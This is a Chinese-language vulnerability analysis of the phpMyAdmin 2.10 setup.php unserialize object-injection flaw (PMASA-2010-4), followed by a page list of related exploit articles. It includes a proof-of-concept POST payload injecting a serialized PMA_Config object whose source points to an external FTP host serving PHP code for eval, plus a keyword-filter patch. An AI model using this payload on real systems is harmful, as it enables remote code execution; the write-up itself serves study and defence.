phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via unserialize Vul Object Injection PMASA-2010-4
目录
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
对这个漏洞简单的概括如下
. "/scripts/setup.php"会接收用户发送的序列化POST数据
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%%3A1%3A%7Bs%3A6%3A%22source%%3Bs%3A24%3A%22ftp%3A%2f%2f10.125.62.%2fs.txt%%3B%7D%7D
/*
token要动态获取
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
*/ . "/scripts/setup.php"会对"$_POST['configuration']"进行反序列化
setup.php在反序列化的时候,程序未对输入的原始数据进行有效地恶意检测 . 黑客可以在POST数据中注入"序列化后的PMA_Config对象"
setup.php在反序列化一个"序列化后的PMA_Config对象"的时候,会对这个对象进行"重新初始化",即再次调用它的构造函数
function __construct($source = null)
{
$this->settings = array(); // functions need to refresh in case of config file changed goes in
// PMA_Config::load()
$this->load($source); // other settings, independant from config file, comes in
$this->checkSystem(); $this->checkIsHttps();
} . PMA_Config对象的构造函数会重新引入"$source"对应的配置文件,这个"$source"是对象重新初始化时本次注册得到的,使用eval执行的方式将配置文件中的变量"本地变量注册化"
function load($source = null)
{
$this->loadDefaults(); if (null !== $source) {
$this->setSource($source);
} if (! $this->checkConfigSource()) {
return false;
} $cfg = array(); /**
* Parses the configuration file
*/
$old_error_reporting = error_reporting();
//使用eval方式引入外部的配置文件
if (function_exists('file_get_contents'))
{
$eval_result = eval('?>' . trim(file_get_contents($this->getSource())));
}
else
{
$eval_result =
eval('?>' . trim(implode("\n", file($this->getSource()))));
}
error_reporting($old_error_reporting); if ($eval_result === false) {
$this->error_config_file = true;
} else {
$this->error_config_file = false;
$this->source_mtime = filemtime($this->getSource());
}
...
最终的结果是,程序代码引入了黑客注入的外部文件的PHP代码,并使用eval进行了执行,导致RCE
Relevant Link:
http://php.net/manual/zh/function.unserialize.php
http://drops.wooyun.org/papers/596
http://drops.wooyun.org/tips/3909
http://blog.csdn.net/cnbird2008/article/details/7491216
2. 漏洞触发条件
0x1: POC
token需要动态获取
. POST
http://localhost/phpMyAdmin-2.10.0.2-all-languages/scripts/setup.php . DATA
action=lay_navigation&eoltype=unix&token=ec4c4c184adfe4b04aa1ae9b90989fc4&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%%3A1%3A%7Bs%3A6%3A%22source%%3Bs%3A24%3A%22ftp%3A%2f%2f10.125.62.%2fs.txt%%3B%7D%7D
/*
source要是一个外部的文本文件,需要返回的是原生的PHP代码
a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:24:"ftp://10.125.62.62/s.txt";}}
*/
3. 漏洞影响范围
. phpmyadmin 2.10
. <= phpmyadmin 2.10
4. 漏洞代码分析
0x1: PHP serialize && unserialize
关于PHP序列化、反序列化存在的安全问题相关知识,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/4242535.html
0x2: "/scripts/setup.php"
if (isset($_POST['configuration']) && $action != 'clear' )
{
// Grab previous configuration, if it should not be cleared
$configuration = unserialize($_POST['configuration']);
}
else
{
// Start with empty configuration
$configuration = array();
}
漏洞的根源在于程序信任了用户发送的外部数据,直接进行本地序列化,从而导致"对象注入",黑客通过注入当前已经存在于代码空间的PMA_Config对象,php在反序列化的时候,会自动调用对象的__wakeup函数,在__wakeup函数中,会使用外部传入的$source参数,作为配置文件的来源,然后使用eval将其引入到本地代码空间
0x3: \libraries\Config.class.php
/**
* re-init object after loading from session file
* checks config file for changes and relaods if neccessary
*/
function __wakeup()
{
//在执行__wakeup()的时候,$source已经被注册为了外部传入的$source参数
if (! $this->checkConfigSource()
|| $this->source_mtime !== filemtime($this->getSource())
|| $this->default_source_mtime !== filemtime($this->default_source)
|| $this->error_config_file
|| $this->error_config_default_file) {
$this->settings = array();
$this->load();
$this->checkSystem();
} // check for https needs to be done everytime,
// as https and http uses same session so this info can not be stored
// in session
$this->checkIsHttps(); $this->checkCollationConnection();
$this->checkFontsize();
}
5. 防御方法
0x1: Apply Patch
if (isset($_POST['configuration']) && $action != 'clear' )
{
$configuration = array();
//协议的匹配忽略大小写
if ( (strpos($_POST['configuration'], "PMA_Config") !== false) && ( (stripos($_POST['configuration'], "ftp://") !== false) || (stripos($_POST['configuration'], "http://") !== false) ) )
{
$configuration = array();
}
else
{
// Grab previous configuration, if it should not be cleared
$configuration = unserialize($_POST['configuration']);
}
}
else
{
// Start with empty configuration
$configuration = array();
}
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved
phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via unserialize Vul Object Injection PMASA-2010-4的更多相关文章
- phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via A Crafted POST Request CVE-2010-3055
目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 The configuration setup script (aka scrip ...
- phpMyadmin /scripts/setup.php Remote Code Injection && Execution CVE-2009-1151
目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Insufficient output sanitizing when gener ...
- phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)
phpmyadmin 2.x版本 POST /scripts/setup.php HTTP/1.1 Host: 192.168.49.2:8080 Accept-Encoding: gzip, def ...
- XML.ObjTree -- XML source code from/to JavaScript object like E4X
转载于:http://www.kawa.net/works/js/xml/objtree-try-e.html // ========================================= ...
- Python pip install Twisted 出错“Command "c:\python37\python.exe -u -c "import setuptools, tokenize;__file__='C:...\\Twisted\\setup.py'.... failed with error code 1 in C:... \\Twisted"
如标题所说: python版本是目前最新的3.7.1 结果发现并不是环境问题,而是直接 pip install Twisted 安装的包不兼容 需要手动下载兼容的扩展包Twisted-18.9.0-c ...
- Uncaught SecurityError: Failed to execute 'replaceState' on 'History': A history state object with
stackoverflow上的的解决方法:Install a web server and load your HTML document from there.
- hdu 3461 Code Lock(并查集)2010 ACM-ICPC Multi-University Training Contest(3)
想不到这还可以用并查集解,不过后来证明确实可以…… 题意也有些难理解—— 给你一个锁,这个所由n个字母组成,然后这个锁有m个区间,每次可以对一个区间进行操作,并且区间中的所有字母要同时操作.每次操作可 ...
- phpMyAdmin setup.php脚本的任意PHP代码注入漏洞
phpMyAdmin (/scripts/setup.php) PHP 注入代码 此漏洞代码在以下环境测试通过: phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, ...
- WordPress Woopra plugin remote PHP arbitrary code execution exploit.
测试方法: 提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! # Exploit Title: woopra plugins execute arbitrary PHP code E ...
随机推荐
- 利用windbg查找dictionary导致IIS占CPU100%案例分析(一)
一.背景 先说下windbg使用场景.各位coder在工作中或多或少都会遇到下面四种情况 1.本地代码好好的,放服务器上运行一段时间后,IIS服务突然占用 w3wp.exe CPU突然100% ,不得 ...
- CentOS7 下安装JDK1.7 和 Tomcat7
一.下载JDK 和 Tomcat安装包 1.JDK1.7 下载地址:http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downl ...
- 用canvas画简单的“我的世界”人物头像
前言:花了4天半终于看完了<Head First HTML5>,这本书的学习给我最大的感受就是,自己知识的浅薄,还有非常多非常棒的技术在等着我呢.[熊本表情]扶朕起来,朕还能学! H5新增 ...
- Zepto的天坑汇总
前言 最近在做移动端开发,用的是zepto,发现他跟jquery比起来称之为天坑不足为过,但是由于项目本身原因,以及移动端速度要求的情况下,也只能继续用下去. 所以在这里做一下汇总 对img标签空sr ...
- nodejs学习之实现简易路由
此前实现了个数据转发功能,但是要建本地服务器,还需要一个简易的路由功能.因为只是用于本地服务器用于自己测试用,所以不需要太完善的路由功能,所以也就不去使用express框架,而是自己实现一个简易路由, ...
- [CF#250 Div.2 D]The Child and Zoo(并查集)
题目:http://codeforces.com/problemset/problem/437/D 题意:有n个点,m条边的无向图,保证所有点都能互通,n,m<=10^5 每个点都有权值,每条边 ...
- AngularJS引入Echarts的Demo
最近要用到图表展示,想了想,还是首选Echarts,HighCharts和D3.js备用吧, 而项目中也用到了AngularJS,所以需要把Echarts引入到AngularJs中一起使用, 试了试, ...
- 聚类算法kmeans
1. 聚类问题 所谓聚类问题,就是给定一个元素集合D,其中每个元素具有n个可观察属性,使用某种算法将D划分成k个子集,要求每个子集内部的元素之间相异度尽可能低,而不同子集的元素相异度尽可能高. 2. ...
- CSS选择器优先级排列
CSS选择器的效率从高到低做了一个排序: 1.id选择器(#myid) 2.类选择器(.myclassname) 3.标签选择器(div,h1,p) 4.相邻选择器(h1+p) 5.子选择器(ul & ...
- [转]java反射机制
原文地址:http://www.cnblogs.com/jqyp/archive/2012/03/29/2423112.html 一.什么是反射机制 简单的来说,反射机制指的是程序在运 ...